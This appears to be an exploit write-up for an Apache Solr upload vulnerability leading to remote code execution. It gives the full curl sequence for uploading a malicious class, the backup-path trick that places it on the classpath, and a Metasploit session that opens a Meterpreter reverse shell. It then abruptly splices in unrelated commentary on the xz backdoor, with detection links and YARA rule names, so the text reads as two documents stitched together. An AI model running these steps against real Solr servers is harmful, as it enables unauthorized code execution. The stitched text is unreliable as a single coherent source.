Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File with Dangerous Type vulnerability which can result in remote code execution in the context of the user running Apache Solr.

This exploit abuses three components of the API. It should be noted that by default Apache Solr ships with no authentication mechanism to protect these API endpoints from attackers. The Basic Authentication plugin can easily be added to Apache Solr which makes this exploit an authenticated RCE however by default this is an unauth RCE.

The three API functions that this exploit uses to achieve code execution are as follows:

• /admin/configs?action=UPLOAD
  
• /admin/collections?action=CREATE
  
• /admin/collections?action=BACKUP
  

The configs UPLOAD function allows the user to upload a configuration specification in the form of the .zip file. The crux of the vulnerability lies in the fact that the zip file is not properly sanitized and an attacker is able to include a malicious .class file inside the zip. The class needs to be compiled with the following package name: package zk_backup_0.configs.conf1 ; in order for it to be executed.

A number of extra steps are required in order to get that .class file to execute. Upload a config like so:

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf1"

Next the collections CREATE function can be used to create a ‘collection’ in Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load some classes from it (this is important to note for later). Create a collection from the config uploaded previously like so:

curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection1&numShards=1&replicationFactor=1&wt=json&collection.configName=conf1"

Next the attacker can abuse the BACKUP function. The backup function of the Collection can export malicious class files uploaded by attackers to a specific directory, which is very useful. This allows the attacker to place the malicious .class file in a location which will then be loaded by a Collection next time we create one. The backup function accepts the parameters locations which is the path to be exported and name which is actually equivalent to part of the path. Getting the .class file into a place where it can be executed successfully is a two step process. First export the collection like so:

curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=collection2_shard1_replica_n1"

This will export collection1 to /var/solr/data/collection2_shard1_replica_n1
And it’s corresponding configuration is exported to: /var/solr/data/collection2_shard1_replica_n1/collection1/zk_backup_0/configs/

Now export it again with location set to /var/solr/data/collection2_shard1_replica_n1 and name set to lib:

curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/collection2_shard1_replica_n1&name=lib"

Now our malicious class we uploaded in the original config ends up here:
/var/solr/data/collection2_shard1_replica_n1/lib/collection1/zk_backup_0/configs/conf1

You may have noticed that the directory structure above corresponds exactly to the required package name mentioned earlier.

Now the attacker uploads a second configuration. This time without a malicious .class but with:

<valueSourceParser  name= "myfunc"  class= "zk_backup_0.configs.conf1.Exp"  />

Set inside solrconfig.xml. This “SourceParser” will get loaded when a collection is created from this config.
Upload the config like so:

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf2.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf2"

And now for the the final step in the exploit, create a second collection from the second configuration just uploaded:

curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection2&numShards=1&replicationFactor=1&wt=json&collection.configName=conf2"

During the collection creation process our malicious class will be loaded. It’s important to note the code one wants executed should be placed in the static method of the malicious class such that it will be executed when the class is loaded as the class isn’t actually being called directly.

And Voilà! If everything has gone to plan the code in the static method of the malicious class should execute in the context of the user running Apache Solr.

Attacker Value and Exploitability Explained

Attacker value 3/5

Although by default this vulnerability doesn’t require authentication, Apache Solr used in a production environment likely have an authentication plugin installed with it and or would likely not be exposed to the internet.

Exploitability 4/5

If you can access the application, exploitation is trivial, with the exception of needing to know credentials if the auth plugin is present.

Try it yourself

If you wish to see this exploit in action, simply spin up a vulnerable Apache Solr instance with the following docker-compose file:

version: '3'

services:
  solr:
    image: solr:9.0.0
    ports:
      - "8983:8983"
      - "5005:5005"
    command: sh -c "solr start -c -a '-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005' && tail -f /dev/null"

Load the metasploit module for this exploit, set the rhost and lhost values, run it and you should get a session in the context of the user running Apache Solr:

msf6 > use linux/http/apache_solr_backup_restore
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/apache_solr_backup_restore) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/apache_solr_backup_restore) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/apache_solr_backup_restore) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Running check method
[*] 127.0.0.1:8983: Authentication not required
[*] Found Apache Solr 9.0.0
[*] OS version is Linux amd64 6.6.16-linuxkit
[+] The target appears to be vulnerable. Found Apache Solr version: 9.0.0
[+] Uploaded configuration successfully
[+] Backed up collection successfully
[+] Backed up collection successfully
[+] Uploaded configuration successfully
[*] Sending stage (3045380 bytes) to 172.16.199.1
[+] Successfully dropped the payload
[*] Meterpreter session 12 opened (172.16.199.1:4444 -> 172.16.199.1:50057) at 2024-04-01 16:18:17 -0700
[*] Cleaning up...
meterpreter > getuid
Server username: solr
meterpreter > sysinfo
Computer     : 192.168.128.2
OS           : Ubuntu 20.04 (Linux 6.6.16-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

On the one hand, it’s backdoored software, so “exploitation” could arguably have already occurred (in the form of an already executed supply chain attack). On the other hand, it’s not immediately clear that anyone has used this backdoor to do specific Bad Things™, so “exploited in the wild” doesn’t sound quite right either. Developers probably most at risk here rather than production systems, but it would appear this got caught pretty quickly.

Bad:

• Backdoor!
  
• In a popular command-line tool
  
• Made it into unstable branches/bleeding-edge releases of some distros (Kali, Arch, etc)
  
• “Open source is unsafe” commentary (c’mon, y’all)
  
• Salacious! Speculation runs rife! xz is drowning out Kate Middleton conspiracy theories in my timelines!
  

Good:

• Didn’t make it into prod systems, stable branches unaffected
  
• Not a simple attack
  
• Not clear that anyone is actively using this backdoor for badness — private SSH key still hasn’t shown up
  

xz backdoor leads to authentication bypass on OpenSSH. So this remote account takeover on vulnerable systems.

Many linux distributions were not impacted because of various reasons:

• they were packing older version of xz where the backdoor was not introduced yet (e.g. Debian stable)
  
• they were building from source
  
• they didn’t patched OpenSSH to use liblzma (e.g. ArchLinux: news, advisory)
  
• they don’t even use xz (e.g. Amazon Linux)
  

Unaffected distribution examples:

Affected distribution examples (which are mostly unstable version of major distros + Kali):

A Nessus plugin is available for detection (n° 192708):

• https://www.tenable.com/plugins/nessus/192708
  
• more plugins for xz backdoor: https://www.tenable.com/cve/CVE-2024-3094/plugins
  

@fr0gger_ published an outbreak visual of the whole backdoor chain:

Timeline summary:

Analysis:

• smx – xz backdoor analysis and symbol mapping
  
• gynvael – xz/liblzma: Bash-stage Obfuscation Explained
  
• FAQ
  
• boehs – timeline
  
• openwall
  
• Wiz -Backdoor in XZ Utils allows RCE: everything you need to know
  
• binarly – XZ Utils Supply Chain Puzzle: Binarly Ships Free Scanner for CVE-2024-3094 Backdoor
  
• Microsoft – FAQ and guidance for XZ Utils backdoor
  

Potential nuclei templates (PR not merged yet):

• https://github.com/projectdiscovery/nuclei-templates/pull/9458/files
  
• https://github.com/projectdiscovery/nuclei-templates/pull/9464/files
  

YARA rules:

• BCKDR_XZUtil_Binary_CVE_2024_3094_Mar24_1
  
• BCKDR_XZUtil_KillSwitch_CVE_2024_3094_Mar24_1
  
• BCKDR_XZUtil_Script_CVE_2024_3094_Mar24_1
  
• Neo23x0 – bkdr_xz_util_cve_2024_3094.yar